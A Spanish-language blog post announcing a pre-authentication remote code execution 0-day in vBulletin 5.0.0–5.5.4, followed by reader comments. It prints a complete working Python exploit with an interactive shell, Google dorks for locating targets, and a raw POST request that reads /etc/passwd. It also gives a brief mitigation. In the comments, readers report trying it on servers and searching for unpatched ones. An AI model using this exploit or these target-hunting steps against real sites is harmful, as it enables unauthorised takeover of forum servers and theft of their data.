Publican 0-day de vBulletin que permite la ejecución remota de código y sin autenticación

Hace tan sólo unas horas un usuario anónimo publicaba en Full Disclosure un 0-day que permite la ejecución remota de código (RCE) en vBulletin y que afecta desde la versión 5.0.0 hasta la última 5.5.4.
Y lo más reseñable es explotable de forma remota y ¡NO requiere autenticación!

La vulnerabilidad reside en la forma en la que un widget interno acepta configuraciones a través de parámetros en la URL y luego las analiza en el servidor sin las comprobaciones de seguridad adecuadas, lo que permite a cualquier atacante inyectar comandos y ejecutar código de forma remota en el sistema.

Fijaros en el siguiente script en python:
#!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit
# 
# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# - site:*.vbulletin.net
# - "Powered by vBulletin Version 5.5.4"

import requests
import sys

if len(sys.argv) != 2:
    sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])

params = {"routestring":"ajax/render/widget_php"}

while True:
     try:
          cmd = raw_input("vBulletin$ ")
          params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
          r = requests.post(url = sys.argv[1], data = params)
          if r.status_code == 200:
               print r.text
          else:
               sys.exit("Exploit failed! :(")
     except KeyboardInterrupt:
          sys.exit("\nClosing shell...")
     except Exception, e:
          sys.exit(str(e))

Parece increíble, pero si lanzamos este sencillo script podremos ejecutar cualquier comando en el sistema vulnerable:
$ python vbulletin0-day-1909.py https://url/
vBulletin$ whoami
www-data

vBulletin$

Así de simple, una petición POST y a correr:
POST / HTTP/1.1
Host: sitiovulnerable.inet
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
Content-Length: 102
Content-Type: application/x-www-form-urlencoded

routestring=ajax/render/widget_php&widgetConfig[code]=echo shell_exec('cat /etc/passwd'); exit;


Recordemos que vBulletin es uno de los softwares de foros de Internet más utilizados, quizás el más popular... así que imaginaros la cantidad de sitios y usuarios que pueden verse afectados, sin posibilidad de parche todavía, si acaso con la única protección de un WAF...

 

 <vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']">  
       {vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}}  
       {vb:raw $evaledPHP}  
     <vb:else />  
       <vb:if condition="$user['can_use_sitebuilder']">  
         <span class="note">{vb:phrase click_edit_to_config_module}</span>  
       </vb:if>  
     </vb:if>  

En el código anterior se puede observar el if donde se comprueban las condiciones para renderizar. Como comentaba dj.thd (Bass Soldier) en nuestro grupo de Telegram, la mitigación más rápida sería eliminar directamente de la bbdd "widget_php" y poner a true "disable_php_rendering" si no se necesita.

4 comentarios :

  1. probandolo recibo esta respues de la shell: {"template":"","css_links":[]}
    no logro ubicar que es?

    ResponderEliminar
  2. Lo mismo paso quando yo probandolo.

    ResponderEliminar
  3. si la respuesta es esa entonces es que el servidor contra el que estais probando no es vulnerable....

    ResponderEliminar
  4. Alguien encontro algo? me parece que los parchearon bastante rápido ya que aun no logro encontrar ninguno.

    ResponderEliminar